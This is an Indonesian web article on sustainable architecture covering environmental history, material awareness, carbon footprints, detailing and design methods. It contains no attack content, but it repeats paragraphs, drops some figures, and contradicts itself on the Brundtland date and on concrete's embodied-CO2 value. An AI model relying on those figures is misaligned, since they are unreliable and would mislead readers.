Dalam Brundtland Commission (1980), pengembangan keberlanjutan didefinisikan sebagai “sebuah pengembangan untuk memenuhi kebutuhan masa sekarang dengan tidak mengorbankan kebutuhan generasi yang akan datang untuk memenuhi kebutuhannya sendiri.“ Tindak dan laku kita akan memiliki pengaruh di masa depan, dan tentu arsitektur memiliki peran yang signifikan. Untuk itu, perlu memupuk kesadaran akan diri sendiri, lingkungan, bahan material, strategi desain, dan tidak lupa dengan refleksi yang merajut semua hal itu dalam sebuah kesadaran yang kolektif.
Marie-Helene Contal dalam pengantarnya di buku Sustainable Design 7 mengatakan bahwa persoalan yang dihadapi semakin kompleks, seperti krisis ekologis, pengembangan yang tidak berkesadaran, ekonomi, dan ketimpangan sosial. Contal menggarisbawahi tentang pemberdayaan, yaitu sebuah proses di mana masyarakat sosial yang menghadapi persoalan yang sama akan memiliki kesadaraan dan sarana untuk dapat ikut berpartisipasi sehingga keberlanjutan menjadi persoalan kolektif yang memerlukan kontribusi dari segala pihak.
Terdapat 5 titik awal arsitektur berkelanjutan yaitu (1) kesadaran diri, (2) kesadaran lingkungan, (3) kesadaran material, (4) strategi desain, dan (5) refleksi.
I hope that in the 21st century the largest accomplishment of art will be to restore the earth.
Ian Mcharg, Design with Nature (1969)
Terdapat 5 Titik Awal dari 14 Strategi Arsitektur Berkelanjutan yang dibahas di artikel ini. Ke-14 strategi tersebut dikelompokkan dalam 5 titik, yaitu (titik 1) ‘Siapa Aku?’ yang berisikan strategi 1-3; (titik 2) ‘Konteks’ yang berisikan strategi 4-7; (titik 3) ‘Material’ yang berisikan strategi 8-9; (titik 4) ‘Pendekatan’ yang berisikan strategi 10-12; dan (titik 5) ‘Refleksi’ yang berisikan strategi 13-14.
Sebelum kita bahas bersama-sama, mari kita pertanyakan pada diri kita sendiri, “siapa aku?”
Jadi, mari mulai bersama-sama, mari mulai sekarang juga.
Arsitektur Berkelanjutan | Gelombang Kesadaran Lingkungan
Kesadaran Lingkungan dan Sebab Akibatnya terhadap Arsitektur Berkelanjutan
Cara hidup manusia berkaitan erat dengan lingkungannya dan berpotensi besar mempengaruhi/merubah ekosistem bumi. Dengan memahami isu sosial – ekonomi – lingkungan masa lampau dan kaitannya dengan apa yang terjadi di masa kini kita bisa mempelajari hubungan sebab-akibat dalam mengonstruksikan arsitektur berkelanjutan. Keberlanjutannya tidak hanya tentang bangunan secara individual melainkan juga hubungan sebab akibat dengan lingkungan, kondisi sosial dan ekonomi.
Kehidupan manusia telah menyaksikan berbagai perubahan iklim dan lingkungan yang diakibatkan oleh berbagai hal. Menurut Alison Knight, terdapat tiga gelombang kesadaran yang mengantarkan kita menuju ke era berkelanjutan, yakni: (1) 1960-1967, munculnya buku Silent Spring tentang bahaya racun pestisida. (2) 1987, tentang “Our Common Future” dan Brundtland Report, puncak penelitian tentang keberlanjutan dan identifikasi jangka panjang kehidupan Bumi. (3) 1980-1990, tentang kesadaran konsumerisme dengan kebocoran gas di Bhopal dan tragedi di Chernobyl, terminologi eco-designmuncul disini.
Pembangunan berkelanjutan memiliki 3 prinsip utama yang harus dijaga keseimbanganya yaitu ekonomi, sosial, dan lingkungan. Dalam desain arsitektur dan tata kota, ada beberapa perkembangan gerakan yang mulai menerapkan ketiga prinsip ini, bahkan sudah dimulai dari zaman awal terbentuknya tata kota modern dari tradisi membangun Barok tahun 1600-an.
Perkembangan teknologi yang didorong revolusi industri dan revolusi perang mensponsori perkembangan desain yang semakin canggih. Selanjutnya, mari kita menelisik perjalanan menuju pemikiran & praktik pembangunan berkelanjutan yang dibagi dalam 3 pembabakan periode: 1851-1920; 1920-1945; dan 1945-1960.
Era keberlanjutan sendiri mulai popular sejak tahun 1960, ketika banyak bangunan mulai terputus dengan konteks lingkungan dan menimbulkan masalah sosial. Gerakan environmentalism pun muncul, salah satunya dipengaruhi oleh buku Silent Spring (Rachel Carson, 1962), menunjukkan perubahan drastis rantai ekosistem akibat pestisida sintesis. Dalam arsitektur & planning, buku Design with Nature (McHarg, 1969) lantas menawarkan konsep integrasi desain dan perencanaan dengan karakter dari sebuah ekosistem dan lansekap.
Revolusi Industri dan Gothic Revival Masa ini ditandai dengan sebuah revolusi Romantik dan ketertarikan pada literatur Abad Pertengahan. Selain itu penulis seperti John Ruskin dalam buku Seven Lamps of Architecture (1849) dan Stones of Venice (1853) sangat menjunjung tinggi kualitas craftsmanship dari bangunan Gotik, menyebabkan munculnya sebuah style arsitektur yang disebut Gothic Revival (1750-1900).
Kota Barok & Gerakan City Beautiful Batasan antara seni, arsitektur, dan lansekap makin pudar. Gerakan Barok menyebar dari Italia ke negara lain di Eropa dan Amerika Latin, menciptakan penataan negara baru dengan prinsip geometris dan berpusat pada monarki. Perancangan tata kota yang terpengaruh oleh hal ini disebut City Beautiful. Gerakannya mulai terbentuk di Amerika Serikat, dari Municipal Arts movement dan World’s Columbian Exposition di Chicago di tahun 1893 dan berkembang di 1900-an.
Valley Section Gambar potongan oleh Patrick Geddes pada tahun 1909 menjadi titik balik cara berpikir desain/intervensi manusia pada alam. Geddes menunjukkan adanya keanekaragaman lingkungan yang berkorelasi dengan perbedaan cara hidup manusia. Poinnya adalah ekosistem manusia adalah bagian dari ekosistem lingkungan tempat tinggalnya. Hal ini membongkar dikotomi antara peradaban dengan alam.
Modern Empiris Terdapat 2 pemikiran: (1) konsep urban seperti pembentukan ruang terbuka dan pengalaman ruang publik (Jane Jacobs, Christopher Alexander, dll.); (2) teori pembentuk kota baru dengan gerakan Garden City, mengatasi masalah kota industri melalui desentralisasi. Contoh konsep perancangan Garden City yaitu Broadacre Cityoleh Frank Lloyd Wright (1958), kawasan kota berkelanjutan dengan pembangunan horizontal berkepadatan penduduk rendah, mudah akses layanan/komoditas apapun dalam radius 150 mil melalui jalan darat/udara.
Modern Rasional / International Style Memiliki cara pandang yang memperhatikan sistem sosial futuristik di dalam bentuk ideal geometris. Tokoh-tokoh dengan pemikiran ini kemudian berkumpul dan membentuk CIAM (1944), melahirkan kota-kota baru di akhir abad ke-20. Salah satunya adalah The Radiant City oleh Le Corbusier, pembangunan vertikal dikelilingi ruangan hijau, perumahan harus sesuai dengan ukuran keluarga, bukan posisi ekonomi. Proyek-proyek gerakan ini meliputi renovasi kota masal dan pembangunan sosial housing dalam waktu cepat.
Postmodernism Terputusnya bangunan dengan konteks lingkungan menimbulkan masalah sosial. Jane Jacobs mengkritik dalam buku The Death and Life of Great American Cities (1961). Gerakan environmentalism mulai muncul, salah satunya dipengaruhi oleh buku Silent Spring (1962) yang ditulis Rachel Carson, menunjukkan perubahan drastis rantai ekosistem akibat pestisida sintesis. Dalam arsitektur & planning, Ian L. McHarg melalui buku Design with Nature (1969), menawarkan konsep integrasi desain dan planning dengan karakter dari sebuah ekosistem dan lanskap.
Gerakan pembangunan berkelanjutan kemudian berkembang dengan kemunculan: (1) New Urbanism, diprakarsai oleh Andres Duany, menentang perluasan pinggiran kota dan disinvestasi perkotaan, yang kemudian melahirkan gerakan sustainable architecture & sustainable urbanism; (2) Landscape Urbanism dimana kota dipandang sebagai sebuah lansekap dan segala intervensi harus mempertimbangkan aspek pembangunan termasuk un-building, removal, dan erasure. Contohnya pada restorasi Cheonggyecheon, Korea Selatan; Central Park, Manhattan; dan Water Square, Netherland.
New Urbanism muncul tahun 1993, mendukung kota yang didesain dengan mementingkan kehidupan sosial manusia; menolak sistem yang mempertajam kesenjangan ras & pendapatan, urban sprawl, kerusakan lingkungan & ekosistemnya; dan menjaga integrasi kultur sosial dengan lingkungan binaan. Pola mixed-use, kota-kota yang ramah pejalan kaki, transit oriented development, pemukiman terjangkau, dan area publik semakin populer. Hal ini melahirkan gerakan sustainable architecture dan sustainable urbanism. Andres Duany adalah adalah seorang arsitek Amerika, perencana kota dan pendiri Kongres untuk New Urbanism. Bersama partnernya mendirikan Duany Plater-Zyberk & Company (DPZ). Mereka menentang perluasan pinggiran kota dan disinvestasi perkotaan. Beberapa proyeknya terkenalnya adalah Seaside, Florida dan Kentlands, Maryland. Landscape Urbanism Dipengaruhi oleh keadaan kota-kota post-industrialisasi di tahun 1990-an, yang menyebabkan pengaruh signifikan pada lanskap yang diciptakan, yang memiliki pola produksi dan konsumsi yang khas dengan terjadinya sprawl. Pola ini menciptakan sebuah ekologi industri dan agrikultur yang berskala nasional dengan menggunakan gambar-gambar lanskap buatan. Landscape Urbanism melihat kota sebagai sebuah lanskap, dan intervensi yang dilakukan pun mempertimbangkan aspek-aspek yang tidak hanya membangun tetapi juga un-building, removal, dan erasure. Beberapa contoh praktik landscape urbanism adalah (1) Cheonggyecheon, Korea Selatan, restorasi saluran pembuangan (sewer) yang dijadikan taman ekologi kota Seoul; (2) Central Park, Manhattan yang memusatkan area terbuka hijau dan konservasi air di tengah kota; dan (3) Water square, Netherland yang membuat strategi water retention di lokasi urban.
Dengan mengupas masa lampau dan merelasikannya dengan masa kini, kita bisa memahami dampak apa yang sudah dan kemungkinannya dihasilkan oleh arsitektur kita terhadap keberlangsungan lingkungan masa kini dan mendatang.
Setelah mengupas masa lampau dan merelasikannya dengan masa kini, sudahkah kita memikirkan dunia di luar arsitektur? Mari refleksi bersama . . . Dampak apa yang telah dan akan dihasilkan oleh arsitektur kita terhadap keberlangsungan lingkungan masa kini dan mendatang?
Kesadaran Material dan Bahan
Diskursus tentang material dimulai dari pola pikir “working detail” yang dibahas oleh Michael Cadwell mengenai seluk-beluk sambungan detail-detail yang interpretatif namun ternyata justru membangun sensibilitas puitis terhadap penciptaan pengalaman ruang yang mampu merangsang kepekaan manusia. Juhani Palasma juga menyatakan bahwa arsitektur mengartikulasi pengalaman manusia dengan meningkatkan sensibilitas indera. Sedangkan Kenneth Frampton mengartikulasikan terminologi tektonika dengan menjelaskan bagaimana perancang mengembangkan berbagai percobaan untuk menemukan sistem konstruksi yang lebih optimal, estetika, dengan teknologi bangunan yang transformatif.
Michael Cadwell menggali seluk-beluk sambungan detail-detail yang interpretatif dimana terdapat detail-detail ‘aneh’ namun justru membangun sensibilitas puitis terhadap penciptaan pengalaman ruang yang merangsang kepekaan manusia. Hal ini diyakinkan kembali oleh kepekaan taktilitas yang dirasakan oleh kulit. Menurut Juhani Palasmaa, kulit disebut sebagai organ tertua manusia. Sedangkan arsitektur juga mengartikulasi pengalaman kita dengan meningkatkan sensibilitas indera yang kita tangkap terhadap kenyataan dengan diri sendiri. Melalui kulit, kita dapat melihat dan merasakan seperti meraba bata yang kasar hingga merasakan gerah dan sejuknya suatu ruangan.
Kenneth Frampton membawa terminologi tektonika dari akarnya dan menjelaskan bagaimana para craftsman mengembangkannya sepanjang berbagai percobaan untuk menemukan suatu sistem konstruksi yang optimal, guna menyelesaikan tantangan-tantangan perjalanan dari peran perancang di lingkungan binaannya, serta mendorong pekerjaan lintas disiplin yang lebih beragam.
YB Mangunwijaya menulis buku “Pasal-pasal Penghantar Fisika Bangunan” di tahun 1980. Mangunwijaya memberikan diskursus terkait fungsi detail, kaitannya dengan iklim, budaya, dan fungsi bangunan. Kemudian, tiga puluh dua tahun berikutnya, diskursus tentang kesadaran material kembali diperbincangkan dengan keikutsertaan Indonesia di Venice Biennale Architettura 2014 dengan tema “Ketukangan: Kesadaran Material” dimana para kurator yaitu Avianti Armand, Achmad D Tardiyana, Setiadi Sopandi, David Hutama dan Robin Hartanto mencoba menarik bentang 100 tahun arsitektur di Indonesia dengan benang merah berupa material bangunan. Wacana ini menggarisbawahi keterkaitan yang konstruktif antara arsitek, tukang, dan material yang digunakannya; membahas enam eksposisi material yang banyak digunakan di Indonesia seperti kayu, batu, bata, baja, beton, dan bambu.
Sedangkan di Indonesia, diskursus material digagas Y. B Mangunwijaya yang mengkaitkan fungsi detail dengan iklim, budaya, dan fungsi bangunan. 32 tahun setelahnya, diskursus material kembali diperbincangkan melalui Paviliun Indonesia di Venice Biennale Architettura 2014 yang mengangkat tema “Ketukangan: Kesadaran Material”.
Plowright telah merumuskan bahwa terdapat tiga buah kerangka proses pemecahan masalah dalam lingkup desain yaitu pattern (form) dalam arsitektur adalah sebagai penataan, organisasi, dan permainan komposisi pola sehingga ini bersifat rasional karena membatasi pertimbangan arsitektur terhadap hal-hal formal sebagai bentuk ideal, forces (context) dimana kerangka ini terbentuk berdasarkan prinsip rasionalisme yang dipertajam dengan pengamatan konteks, dan concept (conceptualization) dimana kerangka konseptual bekerja melalui perangkat abstrak seperti metafora, analogi, pertanyaan, dan ide intuitif.
Terdapat 2 cabang dalam kerangka pattern (form), yaitu:
Bentuk platonik mewujud dalam objek geometri dasar lingkaran, segitiga, dan kotak. Penggunaan bentuk ini adalah mencapai kualitas formal yang diserap dari bentuk platonik agar dapat dibentuk dengan cepat. Dari segi efisiensi, bentuk platonik menghindari pemborosan ruang, lebih ekonomis, dan mengurangi material waste.
Lengkungan (parabolik/ catenary) Bentuk lengkung parabolik adalah konsekuensi matematis dari pertemuan dua buah titik menjadi kurva, begitu pula dengan lengkung catenary yang diperoleh dengan membiarkan gravitasi membentuk kurva dari sebuah tali. Lengkungan digunakan dalam desain karena tiga alasan, yakni kualitas natural, ekspresif, serta karakter informal ketika bentuk platonik tidak dapat menyelesaikan suatu desain.
Terdapat pula 3 metode dalam kerangka forces (context), yaitu:
Daya tradisional digunakan ketika situasi proyek bersinggungan dengan masyarakat (lokal) dengan cara-cara bekerja yang asli (tradisional) masih dilakukan dan padat karya adalah solusi yang paling relevan dalam menanggapi konteks.
Daya industrial dilakukan ketika tersedia akses manufaktur di suatu proyek. Metode ini ditempuh ketika proyeksi jangka panjang menghasilkan perhitungan biaya tenaga kerja padat karya lebih tinggi dari biaya sistem manufaktur yang tersedia di suatu proyek.
Daya adaptasi dilakukan ketika kedua aspek tersedia dimana keduanya dapat dilakukan secara paralel di suatu proyek. Apabila didukung oleh manajemen yang baik untuk menangani kedua jenis aset konstruksi.
Kerangka concept (conceptualization) memiliki 2 cabang, yaitu:
Cave(gua) merujuk pada bentuk alami yang berasal dari hasil reduksi masa. Pendekatan cave berfokus pada diskusi mendalam antara klien dengan arsitek. Melalui analisa diskusi, arsitek dapat menemukan potensi solusi yang muncul dari benak seorang klien dan dirinya sendiri. Hasil dari konsep ini memperoleh form utama desain sebagai konsekuensi kepribadian, yang diikuti oleh fungsi arsitektural (Function follows form).
Nest (sarang) merupakan pendekatan untuk mengeksekusi desain dimana konstruksi ditangani melalui hal yang paling dasar, yakni program dan struktur, kemudian material hingga detail. Sehingga hasilnya adalah bentuk yang merupakan konsekuensi langsung dari fungsi arsitektural (Form follows function).
Plowright merumuskan tiga buah kerangka proses pemecahan masalah dalam lingkup desain yaitu pattern (form) yang merupakan penataan, organisasi, dan permainan komposisi pola sehingga kerangka bersifat rasional karena membatasi pertimbangan arsitektur terhadap hal-hal formal sebagai bentuk ideal. Forces (context) dimana kerangka terbentuk berdasarkan prinsip rasionalisme yang dipertajam dengan pengamatan konteks. Concept (conceptualization) melalui perangkat abstrak seperti metafora, analogi, hingga ide intuitif.
Tiga buah kerangka proses pemecahan masalah dalam lingkup desain
Melalui kesadaran material akan potensinya, arsitektur dapat berperan bagi diskursus keberlanjutan manusia dan lingkungan di dalam tataran detail, konstruksi dan teknologi bangunan yang transformatif dari jaman ke jaman.
Dengan kata lain, melalui pemahaman terhadap prinsip material dengan menumbuhkan kesadaran akan potensinya, arsitektur dapat berperan bagi keberlanjutan manusia dan lingkungan. Jadi, mari kita bersama – sama menumbuhkan kesadaran akan potensi material yang ada di sekitar kita
Material | Memahami Karakter Material
Memahami material, dimulai dengan menggali prinsip – prinsipnya melalui kajian sejarah, jenis – jenis atau turunannya, nilai konduktivitas termal, hingga emisi gas rumah kaca yang dihasilkan.
Beton adalah material batu buatan dari campuran semen, air, dan agregat (krikil, pasir). Berikut kronologi sejarahnya: 12.000 SM – mortar (adonan perekat) dari kapur. 200 SM – opus caementitium (beton roma): mortar pozzolana (abu vulkanik) dan agregrat batuan, keramik, dan puing-puing bata. 1824 – semen Portland dari kapur hidraulik (Inggris) yang hingga kini paling umum digunakan dalam pembuatan beton. 1910 – pabrik semen pertama di Indonesia: NV Nederlandsch Indische Portland Cement Maatschapp (PT. Semen Padang).
Berdasarkan Konduktivitas Termal (W/mK), beton memiliki kategori (Standar) 0.8 (2). Beton ringan memiliki nilai yang lebih rendah, sering digunakan sebagai material insulasi.
Berdasarkan Embodied CO2 (kgCO2 eq./m3), beton masuk kategori (Standar) 0.8 (2)
Tahap awal adalah kajian sejarah yang dimulai dari penggalian asal muasal dan bagaimana perkembangan satu material hingga akhirnya dapat menjadi konteks yang menjangkau site. Setelah mendapatkan opsi material, langkah selanjutnya adalah mengkaji lebih dalam jenis dan turunannya hingga mendapatkan keputusan berdasarkan konsep dan pembentukan pattern (form), yang telah disesuaikan dengan konteks lokasi.
Untuk melihat seberapa signifikan dampaknya terhadap kenyamanan user dan kelestarian lingkungan, dilakukan kajian konduktivitas termal. Apabila material yang dipilih memiliki angka konduktivitas yang tinggi misalnya beton, maka perlu ada perlakuan khusus seperti penambahan fasad misalnya bambu atau kayu sebagai pereduksi panas. Tahap terakhir adalah analisa embodied CO2 atau emisi gas rumah kaca yang dihasilkan oleh material. Tahap ini lebih banyak merujuk pada signifikansi dampak bangunan terhadap lingkungan terkait carbon footprint. Kita dapat menekan angka ini, salah satunya dengan cara menggunakan material lokal sehingga mengurangi kegiatan transportasi material oleh kendaraan bermesin.
Dapat kita pahami bahwa setiap material memiliki nilai dan kegunaannya masing-masing dan pemilihannya berdasarkan konteks dan tipe konstruksi yang akan dikerjakan. Material dapat digunakan dengan optimal dan memiliki nilai keberkelanjutan apabila telah dipahami prinsip – prinsipnya.
Bambu adalah tumbuhan keluarga rerumputan yang tumbuh tinggi dengan batang berongga yang kuat, lazim ditemukan di wilayah asia-pasifik. Kuat gaya tarik dan tekan, mudah dipotong, dibentuk, dan diolah. Dipandang dari sisi sejarahnya, bambu kerap diasosiasikan dengan budaya tradisional Asia, telah lama digunakan sebagai jembatan, scaffolding, dan hunian.
Jenis-jenis bambu yang lazim digunakan di Indonesia: petung(d: 20cm), wulung (d: 14cm), apus (d: 40-10 cm). Produk olahan bambu: Bambu gelondong: kolom, balok, rangka, dinding. Bilah bambu: usuk, reng, rangka bidang, pagar, pengisi bidang. Sayatan bambu: lembar anyaman untuk dinding, plafon, dll. Bambu lapis, panel bambu, bambu komposit.
Bambu memiliki Konduktivitas Termal 0.55–0.59 W/mK. Material bambu memiliki embodied CO2 rendah, contohnya adalah lantai scrimber −14.89 kgCO2 eq./m3
Jadi, Siapkah untuk menggali potensi material yang ada di sekitar kita dan melestarikannya demi keberlanjutan hidup manusia dan lingkungan?
Dapat kita pahami bahwa setiap material memiliki nilai dan kegunaannya masing-masing dan pemilihannya berdasarkan konteks dan tipe konstruksi yang akan dikerjakan. Material dapat digunakan dengan optimal sekaligus memiliki nilai keberkelanjutan apabila telah dipahami prinsip – prinsipnya. Siapkah untuk menggali potensi material yang ada di sekitar kita dan melestarikannya demi keberlanjutan hidup manusia dan lingkungan ?
Penggunaan Material untuk Detail Arsitektur yang Berkelanjutan | Telaah Jejak Karbon dan Permainan Detail Arsitektural.
Di dalam jejak karbon setiap jenis material terkandung emisi yang dihasilkan dari proses terbentuknya material dan proses konstruksi. Besarnya jejak karbon diakibatkan dari tahap pemrosesan bahan , termasuk transportasi, sampai dengan pembuangan atau daur ulang akhir. Hal ini mengakibatkan besarnya emisi karbon global tahunan. Setiap tahun, karbon yang terkandung bertanggung jawab atas 11% emisi GRK (gas rumah kaca) global dan 28% emisi sektor bangunan global. Emisi yang dihasilkan dari jejak karbon akan tertinggal di dalam sebuah bangunan.Kita bisa mengurangi jejak karbon melalui perencanaan pemilihan material dan rekayasa detail arsitektural.
Di dalam jejak karbon setiap jenis material terkandung emisi yang dihasilkan dari proses terbentuknya material dan proses konstruksi. Besarnya jejak karbon diakibatkan dari tahap pemrosesan bahan mentah hingga manufaktur, termasuktransportasi, sampai dengan pembuangan atau daur ulang akhir masa pakai. Hal ini mengakibatkan besarnya emisi karbon global tahunan. Setiap tahun, karbon yang terkandung bertanggung jawab atas
emisi GRK (gas rumah kaca) global dan emisi sektor bangunan global.
Namun, kita bisa mengurangi jejak karbon melalui perencanaan pemilihan material dan rekayasa detail arsitektural. Emisi yang dihasilkan dari jejak karbon akan tertinggal di dalam sebuah material, sebuah detail arsitektural, dan pada akhirnya sebuah bangunan, begitu bangunan tersebut dibangun, emisi tersebut dan tidak dapat ditarik kembali.
Tipe pertama adalah jejak karbon yang dihasilkan melalui terbentuknya material. Tipe ini diproyeksikan memiliki nilai stabil dari 2020-2050.
Tipe kedua yang semakin tinggi dari tahun ketahun adalah emisi karbon yang dihasilkan melalui perhitungan terhadap proses sebuah material diangkut, dikonstruksi, dan dipakai kembali/disimpan.
Di sini lah pemilihan material lokal dan rekayasa detail arsitektural yang mudah dikonstruksi berguna untuk mengurangi jejak karbon di dalam sebuah bangunan. Hal ini dinamakan kesadaran material dan detail arsitektural yang berkelanjutan.
Di dalam lingkup arsitektural, detail dipikirkan secara matangdengan mempertimbangkan pemilihan material lokal (transportasi sedekat mungkin dengan lokasi), bahasa yang mudah dimengerti,mudah dirawat, tahan lama. Sehingga kualitas detail tersebut kita bisa namakan detail yang berkelanjutan. Hal ini distudi oleh Cadwell dimana detail-detail berkelanjutan tersebut membentuk pengalaman ruang yang menyentuh sehingga arsitektur bisa merubah hal yang sederhana menjadi sedemikian dahsyat.
Di dalam lingkup arsitektural, detail dipikirkan secara matang dengan mempertimbangkan pemilihan material lokal (transportasi sedekat mungkin dengan lokasi), bahasa yang mudah dimengerti, mudah dirawat, tahan lama. Sehingga kualitas detail tersebut kita bisa namakan detail yang berkelanjutan. Detail-detail berkelanjutan yang ada di dalam setiap karya arsitek sebenarnya memiliki batasan terhadap cuaca, perawatan, pengalaman ruang yang dihasilkan, sehingga mampu untuk berkelanjutan dan melawan waktu. Detail-detail berkelanjutan tersebut membentuk pengalaman ruang yang menyentuh sehingga arsitektur bisa merubah hal yang sederhana menjadi sedemikian dahsyat.
Cadwell menggali detail-detail berkelanjutan sampai ke proses apresiasi ruang melalui dialog antar detail yang berbasis pada lokalitas. Empat karya arsitektur yang dibahas memiliki “detail yang berkelanjutan”. Karya ini adalah Querini Stampalia yang didesain oleh Carlo Scarpa, Jacob House yang di desain oleh Frank Lloyd Wright.
Detail-detail berkelanjutan yang ada di dalam karya yang dihasilkan oleh keempat arsitek ini memiliki batasan terhadap cuaca, perawatan, pengalaman ruang yang dihasilkan, sehingga mampu untuk berkelanjutan dan melawan waktu
Kuncinya adalah, merefleksikan diri sejauh mana kita bisa menyadari bahwa pemilihan material dan desain detail arsitektural itu memiliki parameter fungsional yang mengikat.
Proyek pertama ini adalah proyek renovasi Querini Stampalia oleh Scarpa yang didasarkan pada pemilihan material lokal dan apresiasi arsitek terhadap ketukangan setempat. Carlo Scarpa memainkan tata bahasa tektonika dan transisi antara ruang dalam dengan luar (taman) dengan kreatif, seperti penggunaan kaca yang transparan.
Permainan detail-detail berkelanjutanterlihat di dalam elemen-elemen pertemuan besi, kayu, batu, dan beton yang disesuaikan dengan jarak pandang, ergonomi, elemen pintu, jendela, dinding, lantai, langit-langit, engsel, sampai ke ornamen.Optimalisasi detail arsitektur berkelanjutan menggunakan material panel kayu dalam rumah ini merupakan gagasan yang konstekstual dengan lingkungannya seperti topografi kota Wisconsin yang didominasi oleh hutan kayu, daerah ini memiliki suhu tertinggi mencapai 45 derajat celcius dan terendah mencapai -48 derajat celcius. Kayu dipilih karena mampu menyeimbangkan temperatur ruang dengan sifatnya yang adaptif dengan ditambah insulasi termal. Dari segi efisiensi, detail ini dimainkan melalui penggunaan panel kayu (plywood sandwich wall) hanya memakan biaya sebesar 5000 USD dengan durasi konstruksi selama 1 tahun. Farnsworth House – Mies Van Der Rohe, Plano, Illinois 1945 – 1951. Farnsworth House dibangun di awal kemunculan era industri baja. Melalui karya ini, Mies Van der Rohe mencoba mengungkapkan detail berkelanjutan dalam ekspresi tektonika material baja dengan memberikan sensibilitas tentang bagaimana struktur dapat berdiri menopang beban. Diekspresikan melalui kolom tipis yang mampu menopang baja, yang digantung dan mewujudkan bidang lantai yang luas hingga menciptakan kesan melayang. Hal ini menyiratkan bahwa pemahaman tentang logika struktur yang berbeda – beda pada setiap material dapat dimainkan untuk mencapai tujuan berkelanjutan. Yale Center for British Art-Louis Kahn, New Haven, USA : 1969 – 1974. Detail berkelanjutan pada proyek restorasi ini mencoba memaksimalkan pengalaman ruang melalui kombinasi berbagai macam material yaitu beton, logam, kayu, batuan, dan kaca. Kombinasi detail yang dimainkan antara logam jenis stainless steel dan kaca dengan beton diekspresikan paling lantang sehingga terlihat seperti sebuah cladding box yang sempurna. Beton sebagai kekuatan, logam sebagai gasad berperan mereduksi cahaya, sedangkan kaca berperan memasukkan cahaya. Skylight dengan bentuk piramida selain menstabilkan masuknya cahaya didukin oleh gridded skylights menciptakan permainan warna kebiru – biruan di dalam bangunan.
Sejauh mana arsitek dapat mendesain detail sehingga menjadi sebuah detail yang berkelanjutan ?
Kuncinya adalah merefleksikan diri sejauh mana kita bisa menyadari bahwa, pemilihan material dan desain detail arsitektural itu memiliki parameter fungsional yang mengikat.Kemudian, sejauh mana arsitek dapat mendesain detail hingga menjadi sebuah detail yang berkelanjutan ?
Metode Desain Menuju Arsitektur Berkelanjutan
Sebelumnya kita telah memahami korelasi antara konstruksi bangunan dengan arsitektur berkelanjutan dari sudut pandang detail arsitektur yang berkelanjutan. Selain konstruksi bangunan, arsitektur terkait erat dengan aspek perencanaan dimana prosesnya memiliki banyak pertimbangan, Hal ini dinamakan metode desain.
Untuk menyusun metode desain, arsitek perlu memahami bagaimana bangunan dikonstruksi dan dirancang. Proses perancangan juga memiliki begitu banyak pertimbangan yang perlu untuk dijawab, mulai dari apa? siapa? untuk apa? untuk siapa? bagaimana? kenapa? dan pada akhirnya apakah ada pilihan lain yang lebih baik? Ini dinamakan Design Theories and Methods (DTM). Pada pertengahan abad ke-20, kemudian kajian ini dibahas oleh Rittel dan Webber yang memisahkan dua jenis masalah yaitu Tame dan Wicked Problem.
Untuk menyusun metode desain, arsitek perlu memahami bagaimana sebuah bangunan itu dikonstruksi dan dirancang. Kita telah membahas bagaimana kaitan antara konstruksi bangunan dengan arsitektur berkelanjutan dari sudut pandang detail arsitektur yang berkelanjutan. Terlepas dari itu, proses perancangan jugamemiliki begitu banyak pertimbangan yang perlu untuk dijawab, mulai dari apa?siapa?untuk apa?untuk siapa?bagaimana?kenapa? dan pada akhirnya apakah ada pilihan lain yang lebih baik? Ini dinamakan Design Theories and Methods(DTM). Pada pertengahan abad ke-20, kemudian kajian ini dibahas oleh Rittel dan Webber yang memisahkan dua jenis masalah yaitu Tamedan Wicked Problem.
Tame problem adalah permasalahan yang solusinya dapat diselesaikan dengan tepat. Wicked problem merupakan krisis perencanaan yang penyelesaiannya tidak pasti dimana prosesnya cukup berbelit karena masing-masing pihak yang berkepentingan mempunyai pandangannya masing-masing. Karena itu Rittel dan Webber menunjukkan pentingnya untuk merangkai sebuah bingkai cara kerja atau metodologi.
Untuk menyusun bingkai cara kerja atau metodologi desain, arsitek perlu untuk mensintesiskanTame and WickedProblem kedalam empat buah substansi yang meliputi:
1. Proses Arsitektur Berkelanjutan (Process)
2. Produk Arsitektur Berkelanjutan (Product)
3. Relasi Sosial Arsitektur Berkelanjutan (Person)
4. Ekosistem Arsitektur Berkelanjutan (Press)
Tame problem adalah permasalahan yang solusinya dapat diselesaikan dengan pasti. Wicked problem merupakan krisis perencanaan yang penyelesaiannya tidak pasti dimana prosesnya berbelit karena pihak – pihak yang berkepentingan mempunyai pandangannya masing-masing. Karena itu Rittel dan Webber menunjukkan pentingnya untuk merangkai sebuah metodologi desain. Arsitek bisa untuk mensintesiskan Tame and Wicked.
Bahasa pola dimulai dari konteks, cara, dan proyeksi hasil perencanaan. Hal ini digagas oleh Alexander kedalam apa yang disebut Pattern Language. APattern Language adalah sebuah buku yang berbasis pada perencanaan kota dan lingkungan. Alexander memvisualisasikan bagaimana membentuk tahapan sebuah kota dan lingkungan di dalamnya.Fisika bangunan dalam hal ini yang dimaksud adalah sintesisme antara fungsi detail, kaitannya dengan iklim, budaya, dan fungsi bangunan kedalam desain berkelanjutan. Faktor – faktornya meliputi pengaruh alam terhadap bangunan seperti hujan dan kelembaban hingga angin, kenyamanan termal yaitu pengaruh bangunan terhadapusermelalui sensibilitas indera seperti intensitas cahaya hingga temperatur suhu dalam ruang, dan relevansi detail terhadap pemenuhan fungsi user hingga signifikansi dampaknya terhadap lingkungan baik ekonomi, sosial maupun ekologis.Relasi sosial dalam arsitektur berkelanjutan menyangkut signifikansi dampak gagasandesain dari seorang arsitek terhadap keberlanjutan manusia. Dalam hal ini erat kaitannya dengan lokalitas yang salah satunya terwujud dalam pemakaian material lokal yang dikerjakan oleh masyarakat sekitar dan berdampak bagi perekonomian lokal namun tidak mengesampingkan dampak bangunan terhadap lingkungan seperti jejak karbon dan lain sebagainya.Ekosistem dalam arsitektur berkelanjutan dalam hal ini maksudnya adalah tentang bagaimana membuat satu rancangan arsitektural perlu merajut berbagai disiplin ilmu hingga profesi. Misalnya saja ketika pekerjaan arsitektur memiliki gagasan utama untuk berbeperan dalam kelestarian lingkungan dengan cara pemakaian material lokal seperti bambu, maka perlu untuk menggandeng pengrajin bambu sebagai upaya menuju desain yang berkelanjutan.
Problem kedalam empat buah substansi atau 4 P: 1. Proses Arsitektur Berkelanjutan (Process) 2. Produk Arsitektur Berkelanjutan (Product) 3. Relasi Sosial Arsitektur Berkelanjutan (Person) 4. Ekosistem Arsitektur Berkelanjutan (Press)
